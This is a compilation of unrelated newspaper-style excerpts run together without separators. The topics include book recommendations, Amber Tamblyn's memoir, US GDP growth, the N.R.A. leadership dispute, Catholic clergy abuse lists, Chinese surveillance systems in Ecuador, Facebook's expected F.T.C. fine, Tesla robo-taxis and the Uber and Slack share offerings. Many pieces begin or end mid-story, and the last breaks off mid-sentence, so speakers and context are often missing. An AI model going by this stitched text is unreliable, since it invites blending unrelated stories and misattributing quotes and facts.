PROPERTY: Stories Between Two Novellas, by Lionel Shriver. (Harper Perennial, $16.99.) Greed, and the many ways it can lead people astray, anchors this wry collection of short fiction, with stories that leap across the globe. Our reviewer, Stephen McCauley, praised the book, writing that Shrivers confident grasp of the material and her natural gifts as a storyteller will keep you in her spell and leave you, at the end, slightly altered. TWO SISTERS: A Father, His Daughters, and Their Journey Into the Syrian Jihad, by Asne Seierstad. Translated by Sean Kinsella. (Farrar, Straus & Giroux, $16.) What compels Europeans to join ISIS? Seierstad examines the question through the story of Ayan and Leila, who left behind their family in Norway to head to Syria in 2013. The book is an absorbing attempt to understand their radicalization. THE DISTANCE HOME, by Paula Saunders. (Random House, $17.) For Leon and Rene, siblings growing up in South Dakota and the principal characters of this debut novel, ballet offers an escape from their grim home life. Leon is spurned by their father, who sees his soft-spoken, stuttering son as inferior to Rene. Saunders follows the pair as they struggle to find their place in the world and Leon tries to overcome his personal trauma. BENEATH A RUTHLESS SUN: A True Story of Violence, Race, and Justice Lost and Found, by Gilbert King. (Riverhead, $17.) King, a Pulitzer Prize-winning writer, looks into a notable miscarriage of justice in Jim Crow-era Florida. A white woman accuses a black man of rape, but the sheriff goes after a white teenager with a developmental disability, committing him to a hospital to avoid a trial. King tells this complex story with grace and sensitivity, and his narrative never flags, our reviewer, Jeffrey Toobin, wrote. When she was 21, an ex-boyfriend dragged her out of a club by her neck and vagina shouting, This is mine. Tamblyn relayed the story on Instagram in 2016 when Trump was heard on tape bragging about groping women. The news media condemned Tamblyns sexual assault, and she realized I had never called it that before, not even in my own head. What followed was an awakening. She realized that so many trials of her career had to do with her gender. At one point her agent urged her to lose weight (she was 5-foot-7 and 120 pounds), pointing to Nicole Kidmans body as the platonic ideal. It all seemed like Hollywood as usual until the 2016 election, when she says the current era of ignition kicked off. Tamblyn, a die-hard Hillary supporter, describes a scene at the Javits Center on election night. Pregnant with her daughter, she sipped liquid Zantac as other celebrity supporters including Katy Perry and Amy Schumer downed chardonnay. As election night goes from bad to worse, Tamblyn has the dark realization that she would bring her daughter into a world of deeply ingrained misogyny. Then came the Womens March and #MeToo stories. Tamblyn channeled her rage into helping found the Times Up movement, her newborn baby inspiring her every step: After having Marlow, I was thrust from my own self-centered wallowing into a sort of permanent projectile optimism. Tamblyn scoffs at the idea of a sisterhood: Who hates women more than Donald Trump does? Other women. She is particularly hard on white feminists, including herself, whom she calls on to accept that we are guilty of doing or saying something racist almost daily. To that end, Tamblyn turns chapters over to Meredith Talusan, a nonbinary transgender author, and to the poet Airea D. Matthews, whose languid voice explains the persistent alienation felt by black women. Reports of the economic expansions death appear to have been greatly exaggerated. The United States economy surged unexpectedly in the first quarter, the Commerce Department said Friday, allaying concern that financial-market volatility and a prolonged government shutdown would cause a slump. That is good news for President Trump, who is counting on a strong economy to improve his chances for re-election. With investors and consumers alike showing renewed optimism, it is now all but certain that the decade-long expansion will become the longest on record later this year. The angst has settled, and the economy has come back, said Ben Herzon , an economist with Macroeconomic Advisers, a forecasting firm. I just cant point to anything now thats going to push us into recession. Gross domestic product, the broadest measure of goods and services produced in the economy, rose at a 3.2 percent annual rate in the first three months of the year. That is faster than most economists expected, and far better than the dour outlook of early this year, when many forecast that the figure could fall below 1 percent. But Mr. LaPierre, in a stinging letter sent on Thursday night to the N.R.A.s board, accused Mr. North of threatening to leak damaging information about him and other N.R.A. executives unless he stepped down. Yesterday evening, I was forced to confront one of those defining choices styled, in the parlance of extortionists as an offer I couldnt refuse, Mr. LaPierre wrote. I refused it. Even as the leadership tussled behind the scenes, President Trump addressed the N.R.A. faithful at the convention on Friday and proclaimed himself a champion of gun rights. In a speech that was part political rally and part pep talk, he said his administration would not ratify an arms treaty designed to regulate the international sale of conventional weapons. The power struggle within the N.R.A. is an abrupt escalation of a legal battle between the organization and Ackerman McQueen. The Times reported earlier this year that prominent members of the N.R.A. board had grown dismayed at the performance of Ackerman because of its NRATV online media service, which has drifted into right-wing politics far beyond gun rights. Ackerman employs Mr. North, who hosts an NRATV series called American Heroes. It is not clear whether Mr. North has the board support to oust Mr. LaPierre, who has led the N.R.A. for decades. Previously, the presidency has been a ceremonial position, though Mr. North, in documents reviewed by The Times, has asked for it to be a paid post. A key factor will be Chris Cox, who runs the N.R.A.s Institute for Legislative Action and is effectively the groups second-ranking official. Do you have a favorite musical instrument one that you play or just enjoy listening to? What kinds of instruments are you most drawn to: wind, strings, brass, percussion or electronic? To help you with your decision, you can find an illustrated list of musical instruments here. Take a moment to think of your favorite instrument and hold all you love about its sound in your mind. Now imagine trying to convince someone else someone who hasnt yet appreciated its beauty, power and quality of its value. What song would you select so that they could understand what draws you most and why you are moved by this instruments unique power? In 5 Minutes That Will Make You Love the Piano, The New York Times asked 12 artists, critics and artistic directors to tell us about music that matters to them. Each selected one song with the goal of persuading curious friends to love the piano, the most powerful and protean of instruments. The following are three of the guest writers discussing what inspired them to select the musical piece they chose, and why they felt it would help others to appreciate the piano: A lot goes into designing a magazine cover, from type treatments to photography to the best possible cover line. The finished product needs to catch readers attention but also begin to tell a story. We spent a year documenting our cover process in short videos. Each week, our editor in chief and design director talked through their decisions and the challenges along the way. Weve just wrapped the series, which gave us a chance to look back at what it meant to us. Gail Bichler, design director: Coming up with a meaningful cover image can be messy. It sometimes includes false starts or means simultaneously going down several different paths. Jake Silverstein, editor in chief: These weekly conversations with Gail became a kind of therapy, I think for both of us. Making covers is the ultimate design/edit collaboration, so its great to be able to sit and talk through the twists and turns of an idea at the end of the road revisiting the light-bulb moments, rehashing some of the disputes. Ill miss it. With an aim to create awareness against wildlife crime, WWF TRAFFIC (India) has put on display Snow Leopard, Greater One-Horned Rhinos, pangolins, Asian Elephant, and Dont Buy Trouble (which lists prohibited wildlife species for possession or trade in India) photos/signage at the Customs checkpoint at Terminal 3 of Indira Gandhi International airport (IGIA) in Delhi. Ravi Singh, Secretary General and CEO of WWF-India, said, Lack of awareness is one of the biggest hurdles in efforts to curtail wildlife trafficking in the air transport sector. These displays will help raise awareness and sensitise both travelers and airport staff about wildlife trafficking. To educate air travelers on wildlife crime poaching and illegal trade Indian Customs Department, TRAFFIC and WWF-India are reaching out to travelers passing through IGIA which is considered one of the busiest airport in the world. Dr Amandeep Singh, Additional Commissioner, Office of the Commissioner of Customs, IGI Airport, Terminal-3, Delhi, said, Illegal wildlife trade has grown to become a very serious crime globally. Here at customs, we recognise this threat to our countrys biodiversity and have therefore undertaken this awareness initiative to help enlighten travelers as well as customs officials about the species impacted by illegal wildlife trade. Customs department is pulling out all stops to control wildlife crime in the country. At a time, when consumer demand for wildlife products is a leading threat facing many wildlife species, traffickers rely on existing transport links to smuggle illegal wildlife products to consumers across the world. Misuse of the aviation system by smugglers to evade customs and other enforcement agencies is a major concern. Meanwhile, both international and domestic airline passengers are sometimes unaware about the illegality of buying certain wildlife products and the grave conservation impact of their actions on various species in the wild, said a WWF official. Manish Kumar, IRS, Commissioner of Customs, IGI Airport, said, Stamping out wildlife crime and smuggling is a high priority objective for Indian Customs. At the IGI Airport, we are constantly on alert against any attempts to smuggle wildlife contrabands. We appreciate the efforts undertaken by TRAFFIC and WWF-India for engaging in initiatives that will help to curtail smuggling of wildlife products and derivatives. Dr Saket Badola, Head of TRAFFICs India office, said, This is the first time TRAFFIC has partnered with Customs at Delhis IGI airport and we hope this partnership can be extended to other airports in the country. No other filmmaker has been more immersed in the social upheavals of contemporary China than Wang Bing. Beginning with Tie Xi Qu: West of the Tracks (2003) a three-part, nine-hour look at the painful decline of a once-thriving industrial zone, the 52-year-old documentarian has consistently portrayed those dispossessed amid the changing landscape of his rapidly developing country. Dislocation is Wangs great theme and the subject of Bitter Money, his 2016 portrait of young rural migrants who leave their villages for low-paying jobs in the booming garment factories of Huzhou. (The film, along with five of his other documentaries, is available on the new OVID.tv subscription streaming service.) Wangs camera wanders among the lives of the men and women who have flocked to the sewing factories. Sensation precedes explanation. Using no narration in his fly-on-the-wall verite, Wang resembles the American documentarian Frederick Wiseman. But where Wiseman explores institutions, Wang focuses on individuals. He follows them into their workplaces and homes (often the same), recording their conversations and family relationships. Wang spent two years filming Bitter Money, maintaining that he shot 2,000 hours for this two-and-a-half-hour film. Working alone with a small digital video-camera customized with an autofocus lens, he seemingly blends into his subjects lives. Because he edits less and holds shots longer than more conventional documentarians, his films are akin to Warhol screen tests full of revealing behavioral tics and transcendent empty moments. Wangs presence is not exactly invisible but only occasionally addressed. Time to sleep you can film tomorrow, one man tells him. One wonders if the existence of Chinas extensive surveillance network has accustomed his subjects to this sort of attention. The New York archdioceses counterparts in Newark, Hartford and Brooklyn made their own disclosures this year. The Brooklyn diocese, which also includes Queens, named more than 100 accused priests in February. The Jesuit province that includes New York also identified accused priests, including many who had served in the orders schools within the archdioceses territory. Some abuse survivors have welcomed the disclosures as validation, believing that the church was starting to acknowledge, after years of silence, what they endured. But a recurring criticism has been the limits of the churchs transparency, as bishops have operated at their own discretion and shared less information than many advocates had wanted. What I will say is that we are grateful that the archdiocese is finally taking this step, belated though it may be, said Zach Hiner, executive director of the Survivors Network of those Abused by Priests, known as SNAP. The New York archdiocese listed 53 priests and deacons who were credibly accused of abuse, admitted to it, were convicted of a crime related to it, or were involved in a civil settlement. Most of them were either defrocked or have died. Included on that list was Theodore E. McCarrick, the former cardinal who was one of the highest-profile leaders in the church to be accused of abuse and was recently expelled from the priesthood. Nearly 60 other clergy members named had died or left the ministry before being accused in cases that led to financial settlements from the archdioceses Independent Reconciliation and Compensation Program. The list also includes eight priests who have been removed from ministry and are awaiting final canonical or archdiocesan disposition of allegations against them. Most of the alleged abuse took place between the 1950s and the 1990s, according to a graph provided by the archdiocese. The archdiocese also said that since the 2002 overhaul of the churchs practices surrounding abuse claims, two cases had been found credible. Please be assured, Cardinal Dolan said, there is not a single priest or deacon of the Archdiocese of New York against whom there has been a credible and substantiated claim of abuse against a minor currently in ministry. [What you need to know to start the day: Get New York Today in your inbox.] One of the primary questions hovering over the coming sexual assault trial of Harvey Weinstein is whether the court will let women aside from the two mentioned in the indictment testify about their experiences with the movie producer. But a state court judge in Manhattan ruled on Friday that hearings to determine what evidence of uncharged crimes might be allowed at trial would take place in a sealed courtroom with the public and the press excluded. The ruling by Justice James Burke in State Supreme Court meant the list of other witnesses prosecutors want to call to testify against Mr. Weinstein and what they might say will remain secret a little longer, perhaps until his trial starts on September 9. Both the prosecution and the defense had asked for the hearing to be held behind closed doors, arguing that allowing it to be public could make it harder to find an impartial jury. Justice Burke agreed with them, ruling this month that closing the courtroom was the only means available to avoid tainting the jury pool. [What you need to know to start the day: Get New York Today in your inbox.] After years of planning and a last-minute curveball from the governor, New York City is about to find out what happens when one of its most vital subway lines goes into partial hibernation. The future of the L train has set off trepidation among the 400,000 subway riders who use it each day. Starting on Friday night, the tunnel that links Brooklyn and Manhattan on the line was partly shutting down on nights and weekends, with far fewer trains at those times for more than a year. As the Metropolitan Transportation Authority starts to make repairs, riders are anxious about the prospect of huge crowds at busy stations and the possibility of hazardous dust, and they are uncertain how long the construction will last and whether the Monday morning commute will be disrupted. [Update: L train slowdown: First weekend disruption is frustrating, but not disastrous.] Rebecca Pappa, an art therapist who lives in Bushwick, Brooklyn, said she was confused about the plans and worried about getting to work in Manhattan on weekends. The New York City Board of Elections decision was theirs to make, but we believe sensitive voter information should always be protected, Caitlin Girouard, a spokeswoman for Mr. Cuomo, said in a statement. She added, When it comes to the current administration, we need to be extra vigilant to ensure New Yorkers information isnt being used for politically motivated ill will. In New York, anyone can request comprehensive voter data from the state or local Board of Elections, which usually provides the information on a compact disc. Political parties have long used the information to target their fliers, phone calls and door-knocking campaigns. But Albert Fox Cahn, the executive director of the Surveillance Technology Oversight Project, a privacy advocacy group, said there was a big difference between information that is technically public as a matter of law, and functionally and immediately available to anybody who wants it. It would be incredibly easy for anyone and everyone to simply take those documents and use them for whatever purposes they want, he said. The citys decision, which was reported by WNYC, comes amid the growing availability of data, election-related or otherwise, and growing pushes to contain it. Several local or state parties, including in New York, have angered voters by sending out fliers warning them that their voting history is public record. Apps now enable voters to see which of their friends and acquaintances voted in the last election and to prod them to do so again or shame them if they do not. Steve Golin, an independent producer whose career began with low-budget movies like Hard Rock Zombies in the 1980s and reached its peak when he and three colleagues won the best-picture Oscar in 2016 for Spotlight, died on Sunday at a hospital in Los Angeles. He was 64. A spokeswoman for Anonymous Content, his production company, said the cause was Ewing sarcoma. The 2016 Academy Awards ceremony was a capstone for Mr. Golin. Not only was Spotlight, Tom McCarthys film about The Boston Globes investigation of child abuse by Roman Catholic priests, named best picture; a second film that Mr. Golin and Anonymous produced, The Revenant, about an early-19th-century frontiersman fighting for his life after being mauled by a bear, was also nominated in that category that year and won for best actor, Leonardo DiCaprio, and best director, Alejandro G. Inarritu. Those films, though wildly different, represented the type of compelling human stories that Mr. Golin preferred to tell. I think that if you look at The Revenant versus Spotlight, one is a little bit more procedural and talky, arguably more in a classic sense, he told Variety in an interview before the Academy Awards ceremony. The Revenant is very different. Almost no dialogue, but its very bold in terms of the technical aspects. [Listen to The Argument podcast every Thursday morning, with Ross Douthat, Michelle Goldberg and David Leonhardt.] But as I dug into the details of her new proposal, I discovered that it wasnt as bad as I had first feared. It is more targeted than her campaign has sometimes made it sound (such as the headline on this Medium post). Her plan is considerably less regressive than universal debt cancellation would be. I still dont love the idea. Warren would wipe out up to $50,000 in debt for anyone making less than $100,000 a year. Which means that a 24-year-old in Silicon Valley making $90,000 and on a path to earn far more could get a windfall. And people earning up to $250,000 say, a 27-year-old investment banker or corporate lawyer would get some benefit from the plan. Warren would also make tuition free at every public college, including those with overwhelmingly upper-income students, like the University of Virginia and the University of Michigan. This money would do much more good if it instead went to community colleges, which are typically starved of resources, as Richard Kahlenberg noted in a Times Op-Ed. Yet there are two reasons the Warren plan is better than I first thought. First, people earning more than $100,000 a year cant get the full $50,000 in debt relief; someone earning $220,000 could get only $10,000, for example. Second, the $50,000 cap means that people who took on more debt to get a degree in business, law and medicine and are often earning very high salaries will still have to pay back some of their loans. Which means that most fines likely to be considered by the F.T.C. might amount to what Matt Stoller, a fellow at the Open Markets Institute, described to me as a parking ticket and a news release. Some with insider experience disagree. A former F.T.C. consumer protection official told me Thursday that if the numbers theyd heard around the fine are real, they might not be transformative to the bottom line but would be symbolic of the gravity. Similarly, they believed the organization could add requirements that change the way Facebook handles and shares data. Id be very surprised if Facebook didnt continue in the same general lines of business, but operating with more restrictions, they said. David Carroll, a professor at the New School, who took legal action against Cambridge Analytica in the United Kingdom, agreed that, no fine would be adequate for a monopoly. Advertisers, users, and investors do not register the fines in their economic activity. [Theyre] still buying, using investing. It causes no material harm to Facebook. Its just bad PR. What does he have in mind? Seizure of servers, criminal penalties against corporate directors and Stop Data Processing orders would actually be painful penalties, he argued. Or, even more intense, force Facebook to delete its user data and models and start from scratch under rigorous collection restrictions." Of course, Facebook is not likely to see anything resembling Mr. Carrolls proposals anytime soon; most ideas would likely be dismissed as wildly radical. And certainly without precedent. And yet the scope of Facebooks recent privacy scandals in the last two years has little precedent either. A quick, partial rundown: A security flaw that potentially exposed the public and private photos of as many as 6.8 million users on its platform to developers (the company told the told European regulators almost two months after discovering the bug and waited almost three months before disclosing publicly ). A separate bug that exposed up to 30 million users personal information in late September. Among the information exposed: emails and phone numbers, and profile information including recent search history, gender and location. An admission that the company "unintentionally uploaded" the email contacts of 1.5 million new Facebook users since May 2016. And, of course, the Cambridge Analytica scandal, where data from tens of millions of users was misappropriated and shared to be used for profiling for political campaigning Everyone is thinking backward about a fine for what they did wrong, Jason Kint, the chief executive of the trade group Digital Content Next, told me. He argued that the F.T.C.s framework is out of date and should instead reflect the more progressive industry standard for tech giants of aligning data usage with consumer expectations. Under that model, Mr. Kint suggests the F.T.C. consider something similar to the German governments February decision to restrict Facebooks data gathering (specifically the ability for Facebook to collect and combine third-party data account advertising profiles). Should the F.T.C. go with the expected wrist-slap of a fine, itll be flatly ignoring a broader sense of mounting frustration over user privacy and the monolithic nature of Big Tech. To the Editor: Re Bidens Regret for Hills Pain Fails to Soothe (front page, April 26): In 1991, many of us were glued to our TVs as a Senate panel led by Joe Biden grilled Anita Hill as she testified during a confirmation hearing for Clarence Thomas. Mr. Bidens conduct and that of the panel were deeply disturbing and helped give us one of the most regressive justices in Supreme Court history. It seems almost unforgivable until we recognize that if nominated, Mr. Biden will be running against President Trump. Any candidate with a long record in public service has a record with mistakes. The question is whether he or she has grown from those mistakes or dug in deeper. There is nothing in Mr. Trump's record to suggest that his treatment of people of color, immigrants or women has evolved. Mr. Biden is correct when he says that the character of the nation would be fundamentally altered if Mr. Trump wins a second term. In 2020, we wont cast a vote for a perfect person no matter who wins the Democratic nomination. We can, however, vote for someone who believes he or she serves the public rather than the opposite. As I lay on his lap in the back of the United Nations vehicle taking me to the hospital, my father kept telling me to keep my eyes open. All I could do was mumble apologies for my low grades in school. My father was my headmaster but I had no interest in school, in learning English, in reading the many books he got for me. In bed at the hospital in Gaza, barely able to open my eyes, I realized I could not move my legs. I overheard the nurses wondering whether I would ever walk again. Then a miracle occurred. After three days, arrangements were made to transfer me to a hospital in Tel Aviv. Normally Palestinians like me were not allowed into Israel, but presumably because of the media coverage of the shooting, the Israeli government gave permission for me to be treated there and for my father to accompany me. For the next several weeks, my father stayed at my side. He talked to me about family, country, his dreams and his understanding of life. He told me I was going to make him proud. Over and over he said: Your life has been spared. A new door has just opened for you. Paralyzed in bed, frustrated and trapped and in pain, at first I found it hard to understand what he meant. Sometimes I would scream at him to just leave me alone. Being in Israel was a challenge for me. For years, I had lived in fear of Israeli soldiers. Now I was surrounded by Israeli doctors, and yet they were doing all they could to save my life. My favorite nurse was Seema , a Jewish woman from Iraq who fed me, cleaned me, gave me my medicine and, most important, made me smile. An Israeli soldier had tried to kill me, but now Israelis were trying to heal me. The doctors decided not to remove the bullet from my spine. Instead I was sent to a physical therapy clinic. I was put in a unit with 12 other kids, all of us in wheelchairs. Most of them were Israeli, and some were outraged by what had happened to me. Mohammad was another boy from Gaza. He had been injured while walking near a car that was bombed by an Israeli helicopter, and he had suffered much more damage than I had. He would have metal plates in both of his legs for the rest of his life. It took almost a year, but I learned to walk again. Finally I was able to return home to Gaza. The soldiers were still there, but I could look them straight in the eye. They were now the ones who looked away. Their guns no longer frightened me, and I could see them as my father saw them: scared young men. The Delhi Police have arrested three men for allegedly robbing people in southwest districts Delhi Cantt area. Police have also recovered two robbed purses and one knife was from the possession of the accused. The accused identified as Rahul Kashyap (25), Surender (20), both residents of Badayun district in Uttar Pradesh and Ranjeet (27), a resident of Darbhanga district in Bihar. According to Devender Arya, Deputy Commissioner of Police (DCP), South West district, on the intervening night of Tuesday and Wednesday near Dhaula Kuan flyover, police noticed two persons raising alarm for help and three men running towards railway tracks near Dhaula Kuan. However, one of the accused was arrested and later identified as Kashyap, while two of his accomplices managed to escape. Later, Surender was arrested from the jungle near railway line and Ranjeet from Delhi Cantt area, the DCP said. During interrogation, the accused disclosed that in order to evade arrest after committing crime, they used to hide themselves in the jungle of Ridge road and railway line near Dhaula Kaun and waited for targets to rob them, the DCP said. During further interrogation, the accused admitted that they were involved in another robbery on April 8, the DCP said, adding further investigation is going on. Were fighting all the subpoenas. With this vow to reporters on Wednesday , President Trump laid bare his approach to the concept of congressional oversight. As the Democratic-controlled House ramps up its investigations of his administration, Mr. Trump is throwing up a stone wall. Among the congressional requests denied in recent days: Mr. Trumps top immigration adviser, Stephen Miller, has declined an invitation to discuss immigration policy; the Justice Department has rebuffed a subpoena for John Gore, a deputy attorney general, to answer questions about the 2020 census; and the White House has instructed a former staffer, Carl Kline, not to provide information about how security clearances are granted. Mr. Trump called the subpoena for Donald McGahn, the former White House counsel, ridiculous. And while the Internal Revenue Service is still officially considering the request by the House Ways and Means Committee for Mr. Trumps tax returns, the presidents acting chief of staff has already declared that Democrats will never get their hands on them. Mr. Trump and his defenders justify such defiance by saying that the inquiries are partisan and thus illegitimate. These arent, like, impartial people, the president said of Democratic lawmakers. Mr. Trump is leaning heavily on executive privilege, the principle that the president and other senior officials have the right to confidential deliberations within the executive branch. But scholars say executive privilege is a tradition, not a law. Neither the phrase nor the concept appears in the Constitution. Even so, since the establishment of the presidency, all of its occupants have at some point claimed the implied prerogative as fundamental to the separation of powers. Recognize this guy? How about this one? Him? They all have something in common. They govern like autocrats. These leaders are rising in an age where technology can make their lives much easier. And leading the way is China. At home, theyre pouring billions into the most sophisticated censorship and surveillance apparatus the world has ever known. I spent nearly a decade here. And halfway through that period, something changed. Xi Jinping took power, and cameras started appearing a lot of them. Now, the cameras are everywhere. They hang from traffic lights, intersections, crosswalks; on trees, fences, and subway cars; even inside your taxi or your apartment building. These are, in fact, government surveillance cameras, and there are over 200 million of them here. The government says the cameras are used to fight crime, squash protests and maintain control. Its all designed to make sure the Communist Party of China never loses power. Basically, they want to know what their citizens are doing all the time, and their actions are being judged. Most of the time, its just police watching on the other end of these cameras. But the idea is that one day soon, artificial intelligence will be able to automate that job, analyzing the day-to-day lives of hundreds of millions of citizens. You might think, well, thats just China. But its not only in China. See that? That camera is in Ecuador. This is Ecuadors emergency response system, which is known as ECU-911. The government peddles it as a crime fighting tool. Ecuador has around 4,000 national security cameras across the entire country. The cameras all feed into a few centralized rooms, like this. The system was not only made in China, but it was installed by Chinese companies and workers. The Chinese even trained the Ecuadoreans how to use it. Reporter: Theyre telling the public that this is for safety. We went back, we can see what the surveillance looks like. So this is, what, 30 people in a room surveilling society. Wow. Reporter: Now my question, though, is: If you wanted to stop crime, would you have 30 people in a room? To me, that number, 30, does not seem like a lot of people. So 30 people, perhaps monitoring a nationwide camera system might seem little, but its the deterrent effect of the cameras which impact on people. Its them moderating their behavior based on the fact that they know that they might be being surveilled, and they dont know how that information might be being used. And thats the point. This might be able to fight crime. But just like in China, the cameras have potential for other use. Surveillance technology exporting this kind of surveillance capabilities to a country like Ecuador makes money. This is Edin, a global surveillance expert in the U.K. I asked him, so what has China actually exported here? Well it secures our diplomatic relationship with China, and it exports their model of internet governorship and how our security infrastructure is going to look like in the future. Chinese surveillance systems are increasingly showing up all around the world. Some of those countries have stronger government institutions to regulate than others, but they all need money to buy it. Turns out, the Chinese can help with that, too. We know it started at the 2008 Beijing Olympics. Behind the scenes, China was selling its state-of-the-art security setup to visiting delegations. This is where Ecuadorian officials first saw it. So, China and Ecuador made a deal. This is Martha, a former politician turned investigative journalist. This all happened under the former president Rafael Correa, who was widely seen as an autocrat. He rewrote Ecuadors Constitution. He erased term limits. He took control of the courts and silenced the press. Helping him each step of the way was money from China. So, China got Ecuadors oil and Ecuador got things like roads and hospitals. It also got a nationwide surveillance system. And this is what it looks like today. Rafael Correa has been out of office for more than two years now, and Lenin Moreno has taken the country back in a more democratic direction. But even after autocrats leave office, their legacies can live on. After all, there is a system in place with a sinister potential. It just depends how its being used. Lidia lives in a high-crime neighborhood on the citys mountainside. She says the police rarely respond to crimes that happen directly in front of cameras and that some of the most dangerous neighborhoods, like hers, dont have any cameras at all. While Lidias neighborhood has none, theres unexpectedly one here, in a safe neighborhood. Its the only camera around, and it can see right into this mans house. Colonel Pazmino was a vocal critic of former president Rafael Correa, and he was often followed by government spies. He says when the Chinese camera system came in, the spies went home. In other words, Colonel Pazmino thinks the system is used for more than emergencies. He believes the states intelligence unit uses it to track political dissidents like him. In China, authorities have also installed cameras outside of dissidents homes. We brought this claim to Francisco Robayo, who was ECU-911s director at the time. He said, the system isnt for spying on or intimidating political opponents. He deflected, and so did the countrys intelligence chief. We were in a secret, unmarked bunker outside of the capital, and we were not allowed to point our camera at anything outside of this single frame. We came to ask Mr. Costa if the intelligence agency uses the public security cameras to spy on citizens. Midway through our interview, we took a break. Remember how we were only allowed to take this one single frame? Well, thats because they didnt want us filming the background thats deliberately out of focus right now. But when not looking through the lens of the camera, we could still see it clearly. Once we pointed out the feeds from ECU-911, they admitted they also could access the public security cameras. Ecuadors officials maintain the system is a crime-fighting tool. But why the system also feeds into the intelligence agency raises the same concerns that human rights advocates raise in China. These cameras are easier to abuse than use. It just depends what your goals are. And remember, Chinas goal is political control. Thats what these systems were designed for. In effect, China is exporting more than cameras. They are exporting the way they use their cameras. And while other countries also offer systems, including the U.S., many say China is thought to be the most dangerous because it provides funding, even to known dictators, and provides them with a sinister model for how to use it. Weve seen cases where governments around the world have used surveillance technology to infiltrate and spy on dissidents, on activists, on lawyers, on opposition parties. So this actually, fundamentally undermines democracy. More and more leaders like Rafael Correa appear to be rising. Now they have access to technology, undreamt of even 20 years ago. And China seems willing to give them cheap loans to buy it. The more countries that install Chinas centralized surveillance technology, the more that Chinas very own autocratic use of it may be normalized. And like in Ecuador, the infrastructure for autocracy stays even as leaders come and go. What the question for us now as people who are now more surveilled than ever, is how we want to live in this world, how we want to regulate that, and what kind of surveillance we want to be put under? [question asked in Spanish] My parents did not approve of our relationship. While transporting my belongings to the apartment, my father had given me some final instructions: Dont get Abby pregnant. Take care of your graduate school applications. Try not to get sick. Within months, I had become consumed by laboratory work, and Abby, taking late shifts as a barista, often arrived home after I had fallen asleep. In her loneliness, she began reaching out to Sara, a friend from college, and they started a long-distance romance. I only realized that my relationship with Abby was over when she constructed an Ikea bed in the kitchen next to the refrigerator. Sometimes, after dinner, we would lie side by side on her blanket, but if I went under the sheets, she would protest. No, Justin. Justin up, Justin out, she would joke, as if I were a pet dog who had strayed outside of his boundaries. We set up rules after our breakup . No more kissing or hugging. The only physical affection she would tolerate was touching her ears. Late at night, when she was almost asleep, I would sit on the edge of her bed and let my fingers wander around the island of her right ear, the soft flesh of the lobe and the wiry rim of cartilage. I thought about the last time that we had had sex . In the residual tenderness of our collapsing relationship, she had lowered herself onto me gingerly, as if she were sliding into cold water. She placed her hands on my chest and for a few seconds her face was blank. I waited for her to say something like, I love you. Instead, she murmured wistfully, I guess we know each other pretty well, huh? Magic Leap, the maker of augmented-reality goggles, has already raised $2.3 billion, an extraordinary amount for a start-up. Now it has secured yet another investment and could raise still more cash. The company said Friday that it had garnered $280 million from NTT DoCoMo, Japans biggest cellphone service provider, as part of a new partnership between them. It will also reopen its most recent fund-raising round to potentially accept even more cash from new and existing investors. It is the latest move by Magic Leap to build its vision of making its flavor of augmented reality where people see computer-generated images in the real world, thanks to a special headset ubiquitous. (The company calls its version of the technology spatial computing.) That pitch has enabled the company to become one of the best-funded start-ups around. But it also raises questions about whether Magic Leap, which began shipping its headset last year for $2,300, can make good on its promise, especially as it faces competition from technology giants like Microsoft. When Matt Cronin worked in customer service at Nurx, a San Francisco start-up that sells prescription drugs online, one of his jobs was to manage the offices inventory of birth control pills. The pills were kept in the pockets of a shoe organizer hanging inside a closet, Mr. Cronin said. They had been shipped to Nurx customers from its partner pharmacies, but ended up at the office when they bounced back in the mail. His supervisors regularly assigned him to mail those same medications to different Nurx customers who had not received their pills, he said. The practice was unusual. For safety reasons, federal and state laws generally require prescription medications to be dispensed through a licensed pharmacy and prohibit pharmacies from shipping returned medicines. SAN FRANCISCO Slack, the workplace messaging start-up, disclosed the details of its business in an offering prospectus on Friday as it joined the parade of tech companies that plan to publicly list their shares this year. Sharing its financial results widely for the first time, Slack said it had collected $400.6 million in revenue in its latest fiscal year, which ended Jan. 31. That was nearly double what it had generated in the previous fiscal year. It lost $140.7 million in the latest fiscal year, narrowing its losses from $180.9 million the year before. The company had 88,000 paying customers at the end of the most recent fiscal year, up almost 50 percent from the previous year. Of those customers, 575 paid more than $100,000 for their subscriptions, contributing about 40 percent of the companys revenue. Fridays filing shed more light on Slack, which has grown out of a video game company into an increasingly common way for workers to communicate. Its software is meant to be a replacement for email but it also lets colleagues chat and share files, among other tasks. Teslas robo-taxi rush Elon Musk, Teslas chief executive, made bold predictions last Monday about the automakers autonomous driving abilities: that Tesla would offer fully autonomous driving by the middle of 2020, and run a fleet of robo-taxis in the United States by the end of the same year. He also said the vehicles would theoretically be able to drive anywhere, in all weather conditions. Mr. Musk is in a rush. The rest of the world may not comply. Heres why. First: the driving. Its a really hard problem, said Ingmar Posner, an associate professor of information engineering at Oxford University and a co-founder of the universitys autonomous-driving spinoff, Oxbotica. He, like many other commentators, is skeptical of Teslas ability to offer full autonomy so quickly, and said driving on unseen roads in all weathers remained a big challenge for autonomous vehicles. Second: society. Jack Stilgoe, a senior lecturer at University College London specializing in the governance of emerging technologies, pointed out that adoption could be hampered by concerns over unintended consequences of robo-taxis. The public also needs to be convinced that it wants to use the vehicles, and road users must learn how to interact with them. Then there are infrastructure and connectivity to build out. This all takes time. Finally: regulation. Mr. Musk conceded that his cars wouldnt receive universal regulatory approval initially. But Mark Fagan, a lecturer in public policy at the Harvard Kennedy School, says Mr. Musks chutzpah particularly the claim that future Teslas may allow drivers to dial up driving aggression to a point where there is a slight chance of a fender bender could backfire. If I were a regulator, I would find that troubling, Mr. Fagan said. Id be burning the midnight oil to put a piece of regulation in place to protect the citizenry. Chris Urmson, previously the technical lead on Googles self-driving car effort and now chief executive of the autonomous car start-up Aurora, recently told The Verge that we would see small-scale deployments in the next five years, and then its going to phase in over the next 30 to 50 years. Those time scales would allow autonomous cars to be deployed safely and sustainably. But, Mr. Stilgoe said, thats inconvenient for technology developers who want an event horizon of years, not decades. Facebook's tiny $5 billion fine Facebook said Wednesday that it expected the Federal Trade Commission to fine it up to $5 billion for privacy violations. Is that enough? SAN FRANCISCO Uber expects to be worth as much as $91 billion when it starts selling shares next month, making its initial public offering one of the largest in the history of the technology industry. With its amended prospectus, filed with the Securities and Exchange Commission on Friday, the ride-hailing company is kicking off the last stage of its journey to list on the public stock markets. The offering is expected to mint a new generation of Silicon Valley millionaires and billionaires. Uber set a price range of $44 to $50 a share, putting its valuation at $80 billion to $91 billion, accounting for stock options and restricted stock. That number could change depending on investor appetite for the shares over the next two weeks. At that valuation, Uber would dwarf its rival Lyft, which went public last month at a 